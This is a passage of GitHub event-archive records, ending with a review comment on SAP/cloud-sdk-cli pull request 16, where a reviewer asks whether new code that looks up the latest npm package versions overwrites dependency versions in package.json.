phdGlvbjI1MTAxODY=","avatar_url":"https://avatars0.githubusercontent.com/u/2510186?v=4","gravatar_id":"","url":"https://api.github.com/users/akeneo","html_url":"https://github.com/akeneo","followers_url":"https://api.github.com/users/akeneo/followers","following_url":"https://api.github.com/users/akeneo/following{/other_user}","gists_url":"https://api.github.com/users/akeneo/gists{/gist_id}","starred_url":"https://api.github.com/users/akeneo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akeneo/subscriptions","organizations_url":"https://api.github.com/users/akeneo/orgs","repos_url":"https://api.github.com/users/akeneo/repos","events_url":"https://api.github.com/users/akeneo/events{/privacy}","received_events_url":"https://api.github.com/users/akeneo/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/akeneo/pim-community-dev","description":"[Community Development Repository] The open source Product Information Management (PIM)","fork":false,"url":"https://api.github.com/repos/akeneo/pim-community-dev","forks_url":"https://api.github.com/repos/akeneo/pim-community-dev/forks","keys_url":"https://api.github.com/repos/akeneo/pim-community-dev/keys{/key_id}","collaborators_url":"https://api.github.com/repos/akeneo/pim-community-dev/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/akeneo/pim-community-dev/teams","hooks_url":"https://api.github.com/repos/akeneo/pim-community-dev/hooks","issue_events_url":"https://api.github.com/repos/akeneo/pim-community-dev/issues/events{/number}","events_url":"https://api.github.com/repos/akeneo/pim-community-dev/events","assignees_url":"https://api.github.com/repos/akeneo/pim-community-dev/assignees{/user}","branches_url":"https://api.github.com/repos/akeneo/pim-community-dev/branches{/branch}","tags_url":"https://api.github.com/repos/akeneo/pim-community-dev/tags","blobs_url":"https://api.github.com/repos/akeneo/pim-community-dev/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/akeneo/pim-community-dev/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/akeneo/pim-community-dev/git/refs{/sha}","trees_url":"https://api.github.com/repos/akeneo/pim-community-dev/git/trees{/sha}","statuses_url":"https://api.github.com/repos/akeneo/pim-community-dev/statuses/{sha}","languages_url":"https://api.github.com/repos/akeneo/pim-community-dev/languages","stargazers_url":"https://api.github.com/repos/akeneo/pim-community-dev/stargazers","contributors_url":"https://api.github.com/repos/akeneo/pim-community-dev/contributors","subscribers_url":"https://api.github.com/repos/akeneo/pim-community-dev/subscribers","subscription_url":"https://api.github.com/repos/akeneo/pim-community-dev/subscription","commits_url":"https://api.github.com/repos/akeneo/pim-community-dev/commits{/sha}","git_commits_url":"https://api.github.com/repos/akeneo/pim-community-dev/git/commits{/sha}","comments_url":"https://api.github.com/repos/akeneo/pim-community-dev/comments{/number}","issue_comment_url":"https://api.github.com/repos/akeneo/pim-community-dev/issues/comments{/number}","contents_url":"https://api.github.com/repos/akeneo/pim-community-dev/contents/{+path}","compare_url":"https://api.github.com/repos/akeneo/pim-community-dev/compare/{base}...{head}","merges_url":"https://api.github.com/repos/akeneo/pim-community-dev/merges","archive_url":"https://api.github.com/repos/akeneo/pim-community-dev/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/akeneo/pim-community-dev/downloads","issues_url":"https://api.github.com/repos/akeneo/pim-community-dev/issues{/number}","pulls_url":"https://api.github.com/repos/akeneo/pim-community-dev/pulls{/number}","milestones_url":"https://api.github.com/repos/akeneo/pim-community-dev/milestones{/number}","notifications_url":"https://api.github.com/repos/akeneo/pim-community-dev/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/akeneo/pim-community-dev/labels{/name}","releases_url":"https://api.github.com/repos/akeneo/pim-community-dev/releases{/id}","deployments_url":"https://api.github.com/repos/akeneo/pim-community-dev/deployments","created_at":"2012-08-10T09:27:26Z","updated_at":"2019-09-25T07:05:36Z","pushed_at":"2019-09-25T07:49:27Z","git_url":"git://github.com/akeneo/pim-community-dev.git","ssh_url":"git@github.com:akeneo/pim-community-dev.git","clone_url":"https://github.com/akeneo/pim-community-dev.git","svn_url":"https://github.com/akeneo/pim-community-dev","homepage":"http://www.akeneo.com","size":161664,"stargazers_count":641,"watchers_count":641,"language":"PHP","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":364,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":279,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":364,"open_issues":279,"watchers":641,"default_branch":"master"}},"base":{"label":"akeneo:master","ref":"master","sha":"df8c7a1b05c3c85df3906cd9d2ac883dadef37c1","user":{"login":"akeneo","id":2510186,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI1MTAxODY=","avatar_url":"https://avatars0.githubusercontent.com/u/2510186?v=4","gravatar_id":"","url":"https://api.github.com/users/akeneo","html_url":"https://github.com/akeneo","followers_url":"https://api.github.com/users/akeneo/followers","following_url":"https://api.github.com/users/akeneo/following{/other_user}","gists_url":"https://api.github.com/users/akeneo/gists{/gist_id}","starred_url":"https://api.github.com/users/akeneo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akeneo/subscriptions","organizations_url":"https://api.github.com/users/akeneo/orgs","repos_url":"https://api.github.com/users/akeneo/repos","events_url":"https://api.github.com/users/akeneo/events{/privacy}","received_events_url":"https://api.github.com/users/akeneo/received_events","type":"Organization","site_admin":false},"repo":{"id":5367323,"node_id":"MDEwOlJlcG9zaXRvcnk1MzY3MzIz","name":"pim-community-dev","full_name":"akeneo/pim-community-dev","private":false,"owner":{"login":"akeneo","id":2510186,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI1MTAxODY=","avatar_url":"https://avatars0.githubusercontent.com/u/2510186?v=4","gravatar_id":"","url":"https://api.github.com/users/akeneo","html_url":"https://github.com/akeneo","followers_url":"https://api.github.com/users/akeneo/followers","following_url":"https://api.github.com/users/akeneo/following{/other_user}","gists_url":"https://api.github.com/users/akeneo/gists{/gist_id}","starred_url":"https://api.github.com/users/akeneo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akeneo/subscriptions","organizations_url":"https://api.github.com/users/akeneo/orgs","repos_url":"https://api.github.com/users/akeneo/repos","events_url":"https://api.github.com/users/akeneo/events{/privacy}","received_events_url":"https://api.github.com/users/akeneo/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/akeneo/pim-community-dev","description":"[Community Development Repository] The open source Product Information Management (PIM)","fork":false,"url":"https://api.github.com/repos/akeneo/pim-community-dev","forks_url":"https://api.github.com/repos/akeneo/pim-community-dev/forks","keys_url":"https://api.github.com/repos/akeneo/pim-community-dev/keys{/key_id}","collaborators_url":"https://api.github.com/repos/akeneo/pim-community-dev/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/akeneo/pim-community-dev/teams","hooks_url":"https://api.github.com/repos/akeneo/pim-community-dev/hooks","issue_events_url":"https://api.github.com/repos/akeneo/pim-community-dev/issues/events{/number}","events_url":"https://api.github.com/repos/akeneo/pim-community-dev/events","assignees_url":"https://api.github.com/repos/akeneo/pim-community-dev/assignees{/user}","branches_url":"https://api.github.com/repos/akeneo/pim-community-dev/branches{/branch}","tags_url":"https://api.github.com/repos/akeneo/pim-community-dev/tags","blobs_url":"https://api.github.com/repos/akeneo/pim-community-dev/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/akeneo/pim-community-dev/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/akeneo/pim-community-dev/git/refs{/sha}","trees_url":"https://api.github.com/repos/akeneo/pim-community-dev/git/trees{/sha}","statuses_url":"https://api.github.com/repos/akeneo/pim-community-dev/statuses/{sha}","languages_url":"https://api.github.com/repos/akeneo/pim-community-dev/languages","stargazers_url":"https://api.github.com/repos/akeneo/pim-community-dev/stargazers","contributors_url":"https://api.github.com/repos/akeneo/pim-community-dev/contributors","subscribers_url":"https://api.github.com/repos/akeneo/pim-community-dev/subscribers","subscription_url":"https://api.github.com/repos/akeneo/pim-community-dev/subscription","commits_url":"https://api.github.com/repos/akeneo/pim-community-dev/commits{/sha}","git_commits_url":"https://api.github.com/repos/akeneo/pim-community-dev/git/commits{/sha}","comments_url":"https://api.github.com/repos/akeneo/pim-community-dev/comments{/number}","issue_comment_url":"https://api.github.com/repos/akeneo/pim-community-dev/issues/comments{/number}","contents_url":"https://api.github.com/repos/akeneo/pim-community-dev/contents/{+path}","compare_url":"https://api.github.com/repos/akeneo/pim-community-dev/compare/{base}...{head}","merges_url":"https://api.github.com/repos/akeneo/pim-community-dev/merges","archive_url":"https://api.github.com/repos/akeneo/pim-community-dev/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/akeneo/pim-community-dev/downloads","issues_url":"https://api.github.com/repos/akeneo/pim-community-dev/issues{/number}","pulls_url":"https://api.github.com/repos/akeneo/pim-community-dev/pulls{/number}","milestones_url":"https://api.github.com/repos/akeneo/pim-community-dev/milestones{/number}","notifications_url":"https://api.github.com/repos/akeneo/pim-community-dev/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/akeneo/pim-community-dev/labels{/name}","releases_url":"https://api.github.com/repos/akeneo/pim-community-dev/releases{/id}","deployments_url":"https://api.github.com/repos/akeneo/pim-community-dev/deployments","created_at":"2012-08-10T09:27:26Z","updated_at":"2019-09-25T07:05:36Z","pushed_at":"2019-09-25T07:49:27Z","git_url":"git://github.com/akeneo/pim-community-dev.git","ssh_url":"git@github.com:akeneo/pim-community-dev.git","clone_url":"https://github.com/akeneo/pim-community-dev.git","svn_url":"https://github.com/akeneo/pim-community-dev","homepage":"http://www.akeneo.com","size":161664,"stargazers_count":641,"watchers_count":641,"language":"PHP","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":364,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":279,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":364,"open_issues":279,"watchers":641,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/akeneo/pim-community-dev/pulls/10772"},"html":{"href":"https://github.com/akeneo/pim-community-dev/pull/10772"},"issue":{"href":"https://api.github.com/repos/akeneo/pim-community-dev/issues/10772"},"comments":{"href":"https://api.github.com/repos/akeneo/pim-community-dev/issues/10772/comments"},"review_comments":{"href":"https://api.github.com/repos/akeneo/pim-community-dev/pulls/10772/comments"},"review_comment":{"href":"https://api.github.com/repos/akeneo/pim-community-dev/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/akeneo/pim-community-dev/pulls/10772/commits"},"statuses":{"href":"https://api.github.com/repos/akeneo/pim-community-dev/statuses/de9528bb61cf47dca07fed890dd2e77eb0e3df3a"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 5367323,
"name": "akeneo/pim-community-dev",
"url": "https://api.github.com/repos/akeneo/pim-community-dev"
}
|
{
"id": 1942439,
"login": "ahocquard",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1942439?",
"url": "https://api.github.com/users/ahocquard"
}
|
{
"id": 2510186,
"login": "akeneo",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/2510186?",
"url": "https://api.github.com/orgs/akeneo"
}
| 2019-09-25T07:51:57 |
10489912799
|
{"actor":{"display_login":"ahocquard"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/SAP/cloud-sdk-cli/pulls/comments/347809030","pull_request_review_id":318881423,"id":347809030,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDM0NzgwOTAzMA==","diff_hunk":"@@ -187,19 +192,45 @@ export default class Init extends Command {\n }\n packageJson.scripts = { ...packageJson.scripts, ...scripts };\n \n- if (initializationType === InitType.freshExpress) {\n- packageJson.devDependencies = { ...packageJson.devDependencies, ...packageJsonData.devDependencies };\n- }\n+ await this.addDependencies(packageJsonData.dependencies, false, packageJson, flags.projectDir);\n+ await this.addDependencies(packageJsonData.devDependencies, true, packageJson, flags.projectDir);\n \n fs.writeFileSync(path.resolve(flags.projectDir, 'package.json'), JSON.stringify(packageJson, null, 2));\n+ }\n \n+ private async addDependencies(dependencies: string[], isDev: boolean, packageJson: any, projectDir: string) {\n+ packageJson.devDependencies = packageJson.devDependencies ? packageJson.devDependencies : {};\n+ packageJson.dependencies = packageJson.dependencies ? packageJson.dependencies : {};\n+ const promises = dependencies.map(async dependency => {\n+ try {\n+ const latestVersion = (await execa('npm', ['view', dependency, 'version'], { cwd: projectDir })).stdout;\n+ if (isDev) {\n+ packageJson.devDependencies[dependency] = `^${latestVersion}`;","path":"src/commands/init.ts","position":46,"original_position":46,"commit_id":"b161a408dc3f8091445153e29d20157f1bd52e77","original_commit_id":"b161a408dc3f8091445153e29d20157f1bd52e77","user":{"login":"florian-richter","id":26565533,"node_id":"MDQ6VXNlcjI2NTY1NTMz","avatar_url":"https://avatars3.githubusercontent.com/u/26565533?v=4","gravatar_id":"","url":"https://api.github.com/users/florian-richter","html_url":"https://github.com/florian-richter","followers_url":"https://api.github.com/users/florian-richter/followers","following_url":"https://api.github.com/users/florian-richter/following{/other_user}","gists_url":"https://api.github.com/users/florian-richter/gists{/gist_id}","starred_url":"https://api.github.com/users/florian-richter/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/florian-richter/subscriptions","organizations_url":"https://api.github.com/users/florian-richter/orgs","repos_url":"https://api.github.com/users/florian-richter/repos","events_url":"https://api.github.com/users/florian-richter/events{/privacy}","received_events_url":"https://api.github.com/users/florian-richter/received_events","type":"User","site_admin":false},"body":"Does this overwrite the dependency versions in the package.json?! or did I misunderstand the code (have not executed it yet)","created_at":"2019-11-19T09:21:19Z","updated_at":"2019-11-19T09:25:53Z","html_url":"https://github.com/SAP/cloud-sdk-cli/pull/16#discussion_r347809030","pull_request_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/pulls/16","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/SAP/cloud-sdk-cli/pulls/comments/347809030"},"html":{"href":"https://github.com/SAP/cloud-sdk-cli/pull/16#discussion_r347809030"},"pull_request":{"href":"https://api.github.com/repos/SAP/cloud-sdk-cli/pulls/16"}}},"pull_request":{"url":"https://api.github.com/repos/SAP/cloud-sdk-cli/pulls/16","id":337443200,"node_id":"MDExOlB1bGxSZXF1ZXN0MzM3NDQzMjAw","html_url":"https://github.com/SAP/cloud-sdk-cli/pull/16","diff_url":"https://github.com/SAP/cloud-sdk-cli/pull/16.diff","patch_url":"https://github.com/SAP/cloud-sdk-cli/pull/16.patch","issue_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/issues/16","number":16,"state":"open","locked":false,"title":"Add install to init","user":{"login":"FrankEssenberger","id":56544999,"node_id":"MDQ6VXNlcjU2NTQ0OTk5","avatar_url":"https://avatars3.githubusercontent.com/u/56544999?v=4","gravatar_id":"","url":"https://api.github.com/users/FrankEssenberger","html_url":"https://github.com/FrankEssenberger","followers_url":"https://api.github.com/users/FrankEssenberger/followers","following_url":"https://api.github.com/users/FrankEssenberger/following{/other_user}","gists_url":"https://api.github.com/users/FrankEssenberger/gists{/gist_id}","starred_url":"https://api.github.com/users/FrankEssenberger/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FrankEssenberger/subscriptions","organizations_url":"https://api.github.com/users/FrankEssenberger/orgs","repos_url":"https://api.github.com/users/FrankEssenberger/repos","events_url":"https://api.github.com/users/FrankEssenberger/events{/privacy}","received_events_url":"https://api.github.com/users/FrankEssenberger/received_events","type":"User","site_admin":false},"body":"## Proposed Changes\r\n\r\nIn the init process some dependencies (sdk ones) were installed and other not. I changed it so that if it is a fresh init all dependencies are installed and the user can directly do test or start, without any install before. I also removed the jest files, if it is not a fresh init.\r\n\r\n## Type of Changes\r\n\r\n- [x] Bug Fix\r\n- [ ] New Feature\r\n- [ ] Documentation Update\r\n\r\n## Checklist\r\n\r\n- [x] I have added tests that prove my fix is effective or that my feature works\r\n~- [ ] I have added necessary documentation~\r\n\r\n","created_at":"2019-11-06T16:09:15Z","updated_at":"2019-11-19T09:25:52Z","closed_at":null,"merged_at":null,"merge_commit_sha":"576d25d1a2a7e46ad8395b5bbd1c4e66550d3f38","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/pulls/16/commits","review_comments_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/pulls/16/comments","review_comment_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/pulls/comments{/number}","comments_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/issues/16/comments","statuses_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/statuses/b161a408dc3f8091445153e29d20157f1bd52e77","head":{"label":"SAP:addInstallToInit","ref":"addInstallToInit","sha":"b161a408dc3f8091445153e29d20157f1bd52e77","user":{"login":"SAP","id":2531208,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI1MzEyMDg=","avatar_url":"https://avatars1.githubusercontent.com/u/2531208?v=4","gravatar_id":"","url":"https://api.github.com/users/SAP","html_url":"https://github.com/SAP","followers_url":"https://api.github.com/users/SAP/followers","following_url":"https://api.github.com/users/SAP/following{/other_user}","gists_url":"https://api.github.com/users/SAP/gists{/gist_id}","starred_url":"https://api.github.com/users/SAP/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/SAP/subscriptions","organizations_url":"https://api.github.com/users/SAP/orgs","repos_url":"https://api.github.com/users/SAP/repos","events_url":"https://api.github.com/users/SAP/events{/privacy}","received_events_url":"https://api.github.com/users/SAP/received_events","type":"Organization","site_admin":false},"repo":{"id":208224645,"node_id":"MDEwOlJlcG9zaXRvcnkyMDgyMjQ2NDU=","name":"cloud-sdk-cli","full_name":"SAP/cloud-sdk-cli","private":false,"owner":{"login":"SAP","id":2531208,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI1MzEyMDg=","avatar_url":"https://avatars1.githubusercontent.com/u/2531208?v=4","gravatar_id":"","url":"https://api.github.com/users/SAP","html_url":"https://github.com/SAP","followers_url":"https://api.github.com/users/SAP/followers","following_url":"https://api.github.com/users/SAP/following{/other_user}","gists_url":"https://api.github.com/users/SAP/gists{/gist_id}","starred_url":"https://api.github.com/users/SAP/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/SAP/subscriptions","organizations_url":"https://api.github.com/users/SAP/orgs","repos_url":"https://api.github.com/users/SAP/repos","events_url":"https://api.github.com/users/SAP/events{/privacy}","received_events_url":"https://api.github.com/users/SAP/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/SAP/cloud-sdk-cli","description":"The command line interface for the SAP Cloud SDK","fork":false,"url":"https://api.github.com/repos/SAP/cloud-sdk-cli","forks_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/forks","keys_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/keys{/key_id}","collaborators_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/teams","hooks_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/hooks","issue_events_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/issues/events{/number}","events_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/events","assignees_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/assignees{/user}","branches_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/branches{/branch}","tags_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/tags","blobs_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/git/refs{/sha}","trees_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/git/trees{/sha}","statuses_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/statuses/{sha}","languages_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/languages","stargazers_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/stargazers","contributors_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/contributors","subscribers_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/subscribers","subscription_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/subscription","commits_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/commits{/sha}","git_commits_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/git/commits{/sha}","comments_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/comments{/number}","issue_comment_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/issues/comments{/number}","contents_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/contents/{+path}","compare_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/compare/{base}...{head}","merges_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/merges","archive_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/downloads","issues_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/issues{/number}","pulls_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/pulls{/number}","milestones_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/milestones{/number}","notifications_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/labels{/name}","releases_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/releases{/id}","deployments_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/deployments","created_at":"2019-09-13T08:26:26Z","updated_at":"2019-11-12T09:10:53Z","pushed_at":"2019-11-15T15:57:00Z","git_url":"git://github.com/SAP/cloud-sdk-cli.git","ssh_url":"git@github.com:SAP/cloud-sdk-cli.git","clone_url":"https://github.com/SAP/cloud-sdk-cli.git","svn_url":"https://github.com/SAP/cloud-sdk-cli","homepage":null,"size":278,"stargazers_count":11,"watchers_count":11,"language":"TypeScript","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":1,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":2,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":1,"open_issues":2,"watchers":11,"default_branch":"master"}},"base":{"label":"SAP:master","ref":"master","sha":"9fd263ffa875cb30cc3c9e26f24e1a5154154290","user":{"login":"SAP","id":2531208,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI1MzEyMDg=","avatar_url":"https://avatars1.githubusercontent.com/u/2531208?v=4","gravatar_id":"","url":"https://api.github.com/users/SAP","html_url":"https://github.com/SAP","followers_url":"https://api.github.com/users/SAP/followers","following_url":"https://api.github.com/users/SAP/following{/other_user}","gists_url":"https://api.github.com/users/SAP/gists{/gist_id}","starred_url":"https://api.github.com/users/SAP/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/SAP/subscriptions","organizations_url":"https://api.github.com/users/SAP/orgs","repos_url":"https://api.github.com/users/SAP/repos","events_url":"https://api.github.com/users/SAP/events{/privacy}","received_events_url":"https://api.github.com/users/SAP/received_events","type":"Organization","site_admin":false},"repo":{"id":208224645,"node_id":"MDEwOlJlcG9zaXRvcnkyMDgyMjQ2NDU=","name":"cloud-sdk-cli","full_name":"SAP/cloud-sdk-cli","private":false,"owner":{"login":"SAP","id":2531208,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI1MzEyMDg=","avatar_url":"https://avatars1.githubusercontent.com/u/2531208?v=4","gravatar_id":"","url":"https://api.github.com/users/SAP","html_url":"https://github.com/SAP","followers_url":"https://api.github.com/users/SAP/followers","following_url":"https://api.github.com/users/SAP/following{/other_user}","gists_url":"https://api.github.com/users/SAP/gists{/gist_id}","starred_url":"https://api.github.com/users/SAP/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/SAP/subscriptions","organizations_url":"https://api.github.com/users/SAP/orgs","repos_url":"https://api.github.com/users/SAP/repos","events_url":"https://api.github.com/users/SAP/events{/privacy}","received_events_url":"https://api.github.com/users/SAP/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/SAP/cloud-sdk-cli","description":"The command line interface for the SAP Cloud SDK","fork":false,"url":"https://api.github.com/repos/SAP/cloud-sdk-cli","forks_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/forks","keys_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/keys{/key_id}","collaborators_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/teams","hooks_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/hooks","issue_events_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/issues/events{/number}","events_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/events","assignees_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/assignees{/user}","branches_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/branches{/branch}","tags_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/tags","blobs_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/git/refs{/sha}","trees_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/git/trees{/sha}","statuses_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/statuses/{sha}","languages_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/languages","stargazers_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/stargazers","contributors_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/contributors","subscribers_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/subscribers","subscription_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/subscription","commits_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/commits{/sha}","git_commits_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/git/commits{/sha}","comments_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/comments{/number}","issue_comment_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/issues/comments{/number}","contents_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/contents/{+path}","compare_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/compare/{base}...{head}","merges_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/merges","archive_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/downloads","issues_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/issues{/number}","pulls_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/pulls{/number}","milestones_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/milestones{/number}","notifications_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/labels{/name}","releases_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/releases{/id}","deployments_url":"https://api.github.com/repos/SAP/cloud-sdk-cli/deployments","created_at":"2019-09-13T08:26:26Z","updated_at":"2019-11-12T09:10:53Z","pushed_at":"2019-11-15T15:57:00Z","git_url":"git://github.com/SAP/cloud-sdk-cli.git","ssh_url":"git@github.com:SAP/cloud-sdk-cli.git","clone_url":"https://github.com/SAP/cloud-sdk-cli.git","svn_url":"https://github.com/SAP/cloud-sdk-cli","homepage":null,"size":278,"stargazers_count":11,"watchers_count":11,"language":"TypeScript","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":1,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":2,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":1,"open_issues":2,"watchers":11,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/SAP/cloud-sdk-cli/pulls/16"},"html":{"href":"https://github.com/SAP/cloud-sdk-cli/pull/16"},"issue":{"href":"https://api.github.com/repos/SAP/cloud-sdk-cli/issues/16"},"comments":{"href":"https://api.github.com/repos/SAP/cloud-sdk-cli/issues/16/comments"},"review_comments":{"href":"https://api.github.com/repos/SAP/cloud-sdk-cli/pulls/16/comments"},"review_comment":{"href":"https://api.github.com/repos/SAP/cloud-sdk-cli/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/SAP/cloud-sdk-cli/pulls/16/commits"},"statuses":{"href":"https://api.github.com/repos/SAP/cloud-sdk-cli/statuses/b161a408dc3f8091445153e29d20157f1bd52e77"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 208224645,
"name": "SAP/cloud-sdk-cli",
"url": "https://api.github.com/repos/SAP/cloud-sdk-cli"
}
|
{
"id": 26565533,
"login": "florian-richter",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/26565533?",
"url": "https://api.github.com/users/florian-richter"
}
|
{
"id": 2531208,
"login": "SAP",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/2531208?",
"url": "https://api.github.com/orgs/SAP"
}
| 2019-11-19T09:21:19 |
10894800403
|
{"actor":{"display_login":"florian-richter"}}
|
PullRequestReviewCommentEvent
| true |
